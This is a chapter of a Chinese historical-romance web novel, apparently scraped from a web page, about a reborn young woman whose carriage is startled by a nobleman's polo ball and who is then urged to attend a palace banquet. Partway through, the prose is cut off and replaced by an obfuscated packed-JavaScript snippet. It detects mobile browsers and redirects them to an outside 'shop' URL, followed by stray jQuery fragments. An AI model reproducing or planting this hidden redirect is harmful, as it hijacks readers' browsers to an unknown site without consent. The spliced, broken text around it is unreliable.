沈珩扬也不知,怎的就造就了眼前这一幕。
他本在赛场上与好友等人好好练习马球的,依照他平日的水平,将球直接打出赛场是决计不会出现的事。
可怪就怪在,他的那一杆球,失了力道,便酿成了眼下的后果。
眼见马球直接飞出场外,又见那马球直接惊了人家的马车,便是那原本不以为意的人都肃了几分神色。
作为始作俑者,沈珩扬不得不出面致歉。
看到差点被他所伤的是一位年纪轻轻的小娘子时,沈珩扬只觉愧疚难当。
可当那人转身露出真容,眉如远山黛,眼含秋水波,精致挺拔的直鼻与流畅小巧的脸相得益彰。
乌发红唇掩映下,更显肌肤白若初雪,虽年纪不大,但身材纤秾合度,整个人透出一股乖巧温和之态。
不期然对上那双琉璃般的透亮鹿眼时,沈珩扬只觉呼吸一滞,那颗心也像是被马球狠狠击中。
不过,这小娘子看向自己的眼神实在不善。
想到他先前的所作所为,沈珩扬只能更加诚恳的述说自己的歉意。
“这位娘子,在下今日实在鲁莽,若是……”
话未说完,被他打飞的那颗马球就这般结结实实的落在他的胸前,恰好是跳动的心脏之上。
“砰——砰——”
马球击中心脏的声音,落地的声音,完美与他的心跳声重合。
现场气氛一瞬凝滞。
沈珩扬立即察觉身旁好友的气息变了,看他笑话的意味更加浓重。
他当然能够避开这不轻不重的一击,只是以他的眼光来看,眼前的姑娘应当是一个乖巧温顺的女娘。
哪里知道他倒是看走眼了,原是个烈性子的娘子。
不过自己理亏在前,远远走来便见到了那修车的车夫,原来不仅惊了人家的马匹,还害人的马车也坏了,好在没酿成大祸,也算万幸。
他虽肆意惯了,但不是不讲道理的人,得罪人在先,现下给人出出气也是应当。
“抱歉,我当真不是故意的。”沈珩扬继续道。
眼尖瞟向一旁被车夫遗弃的坏了的套绳,他一边说一边将手伸向钱袋中取钱,“还请这位娘子不嫌弃这些银钱,算是我赔偿娘子马车的钱。”
虞汀眼神极冷地看着他的一系列动作。
他的每一声抱歉都与前世重合,看似那般好接近的一个人,却最是知晓如何拒人于千里之外。
一声声,如冰刃一般直直刺入虞汀的心中,除了将她的怒气越激越重之外,毫无用处。
“这位娘子?”沈珩扬语气疑惑,那脸色怎还越来越冷了呢?
莫不是他在无意中的罪过这位姑娘?
这般想着,也就玩笑般问了出来,语带玩味:“这位娘子看着面生得很,我都这般致歉了,娘子还是生气,怕不是之前哪里的罪过娘子?若是如此,子佩便在今日一并道歉便是。”
可不对啊,因着曾经在京都卫中任职过两年,这京都中的大小官宦,他不说人人识得,但也算是大部分知晓。
瞧这马车样式,明显就是大郢官宦之家才能使用的,这小娘子又面生得紧,他怎么也不可能平白无故在今日前便得罪了这位姑娘。
唯一的解释便是这位小娘子还是没能消气。
那他那一时嘴快秃噜出去的话……
本想如常般借着玩笑话打破这凝滞的气氛,眼下估计要雪上加霜了。
果然,那姑娘的脸色只差些许便赶得上父亲书房的墨汁了。
“抱歉……”少年登时手足无措。
怎么越是说越是弄巧成拙呢?
无奈之下,沈珩扬只能皱着眉给站在身旁那一脸看好戏的好友使眼色。
这人平日里最是油嘴滑舌,一张巧嘴能哄得那些小娘子找不着北。
季北早便惊讶不已了,见沈珩扬如此,挑挑眉,还以为他会直接如往常一般没了耐心呢,今日是怎的了?
看够了笑话,见难得见目空一切的沈世子这般狼狈,季北笑了笑,适时出声:“娘子莫气,子佩也是无心之失,若是娘子实在难以原谅,改日在下定陪同子佩登门致歉,你看如何?”
登门致歉?
她虞家的门楣还没那么高,值得天之骄子的沈世子为这么点事上门。
被另一道稍显陌生的声音打断,虞汀直冲头顶的怒气也渐渐得到控制。
她不由得寻着声源看去,这是季北,上辈子在沈珩扬双腿残废后,代替沈珩扬出征的将军。
想到他到大郢边境后,五年便使得嚣张的靖国俯首称臣,虞汀心中不免多了些许敬意。
守国之将,当得起大郢任何子民的敬意。
只是吐出的话语还是有些冷淡:“不必!”
虽有钦佩,但对于跟沈珩扬有交集之人,虞汀只恨不得离远些。
季北自然没能忽视那姑娘的眼神变化,察觉到什么的他想也不想地瞥向沈珩扬。
这一看,季北的唇角意味深长地勾起,果不其然,此时的沈珩扬看向虞汀,眉头不自觉蹙起。
“不不不,理当如此……”季北尤嫌眼下气氛不够怪异似的,继续火上浇油。
“我说了不必便是不必,方才只是给你们莽撞的一点小小教训,毕竟是马匹,若真惊了马,后果绝不止如此,还希望二位日后还是小心为上。”虞汀为方才的贸然举动做了解释。
冷淡的丢下一句话,她便准备上车。
“且慢!”那道熟悉的声音再次响起。
虞汀下意识止住脚步。
“我方才的话是有些唐突,但还是想问一句,我真的没有得罪过娘子吗?”
闻言,虞汀像是被人刺到一般深深闭眼,满脸不耐。
得罪过,只是他不知道罢了。
冰玉见到自家娘子露出这般神色,知晓她这是不耐烦了。
她直接开口道:“这位郎君问得好生奇怪,我家娘子今日才从南州入京,郎君又哪里会得罪我家娘子?”
“娘子之所以生气,不过是方才差点因为马车颠簸受了伤,如我家娘子所说那般,两位郎君下次还是小心些为妙,不是人人都如我家娘子这般只那么小小计较一下便罢了。”
话闭,冰玉扶着虞汀直接上了车,车夫扬鞭,马车扬长而去。
留在原地的两人,一人目光紧紧跟随那辆朴素的马车,另一人则好整以暇地看着好友。
回神的沈珩扬察觉到季北的视线并未理会,只是默默将那颗孤零零滚在一边的马球捡起,还颇为珍视地拍了拍上面的灰尘。
季北见他不理人,跟上这人的脚步,戏谑道:“沈二,你这……很不对劲啊!那小娘子给了你这般难堪,你沈世子什么时候这般好性子了?”
不仅不计较,还好声好气问是不是什么时候得罪了人家?
季北抬头看天,今日的太阳莫不是从西边出来的?
回应他的,是沈珩扬的一个白眼。
“不是,你不会真的对人小娘子那什么……一见钟情了吧?”季北一把拽住沈珩扬。
那江明喻怎么办?不是说沈、江两家即将议亲了吗?
沈珩扬没说话,只是踢了他一脚,然后健步如飞般回了马球场。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274817|198186||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
瞥见他那微不可查的上扬唇角,季北如见了鬼一般,半晌没回过神。
然后便眼睁睁看着沈珩扬那厮对自家侍从交代了什么,从那侍从古怪的神色便不难看出,沈珩扬这人是准备去干什么了。
估计直接是去打听人家小娘子姓甚名谁,是何方人士了?
多年好友,季北对沈珩扬还是了解的,他既能有这般举动,说明京都城中的那些什么定亲传言应当是假的。
季北看了飞身上马的明艳少年一眼,而后垂眸,神色不明。
“季五,还愣着作甚?莫不是等到明年想做那靖国的手下败将?”沈珩扬张扬热烈的声音响彻马球场。
一群人闻言,哄堂大笑。
季北见状,无声而笑,也翻身上马,一继续投入那令人热血沸腾的比赛之中。
个人有个人的缘法,他担心那般多作甚。
*
城内,与席氏汇合后,虞汀坐在车上久久沉默着。
冰玉有些忧心地看了一眼自家娘子。
从前的娘子是一个十分容易看透的人,高兴与否几乎都是写在脸上的。
可短短几日,她这个贴身丫鬟都有些看不透她了。
回想起辞别那两位男子后,她无意中瞥见娘子眼中的一抹水光时,冰玉更加心焦。
可娘子不说,她也知道绝对问不出什么,只能干着急。
好在,进了府后娘子便恢复了正常。
如往日一般,温顺乖巧地给家中长辈请安后,便回了自己院中歇息。
一觉醒来后,那些颓唐也好,忧愁也罢统统消失不见,一度令冰玉以为自己出现了幻觉。
进入京都城的日子,比之南州似乎有所改变,似乎又无甚变化。
改变的是家中的其他人,没变的是她家那个仍旧安静低调的三娘子。
日子平淡顺遂的过着,就在冰玉渐渐习惯了北方这干燥的气候时,家中主母忽然要带三娘子一同赴宴。
“娘,我不想去。”如预料般,三娘子还是这样的回复。
冰玉站在一旁静静听着。
只听主母闻言,又是老生常谈的忧愁:“汀儿,你该多出去见识见识,你都是及笄的姑娘了,各家宴会走走,也能多识得些闺中密友。”
“再者,你将来嫁为人妇,也是要出门走动的,娘这是为你好。”席氏语重心长道。
虞汀低头不语,眼中有着淡淡的讽意。
她不否认母亲的话,可她又怎么能够那般理所当然地认为她就能游刃有余地出席各家宴会呢?
明明她也从未教导过她,眼下却又要她直接无师自通。
好在她多了那几年的经历,对于父母这般举动,心境已然平和。
这世间女子,终究还是需要一个强有力的娘家,她即便再不喜,也不能跟家中关系闹得过僵。
而且,她也要为自己打算起来了。
结交朋友定然要有,也该给自己物色一个合乎心意的夫婿。
这种事情又急不得,总得从家世人品各方面细细考量,宜早不宜迟。
她明白女子不嫁无异于痴人说梦,所以她的要求一直都极低,前世错了一次,今生定然要谨慎些许。
从前求的是愿得一心人,如今求的便只是夫婿能够喜欢她几分,也能给她作为妻子该有的一切,而不是守活寡。
抱着这样的心思,虞汀应下了母亲的要求,只是没想到的是,这次的宴会,竟会是前世她直接推辞了的,贵妃在宫中举办的赏菊宴。
那场令江明喻,也就是前世和亲的昭阳公主名声大噪的宴会。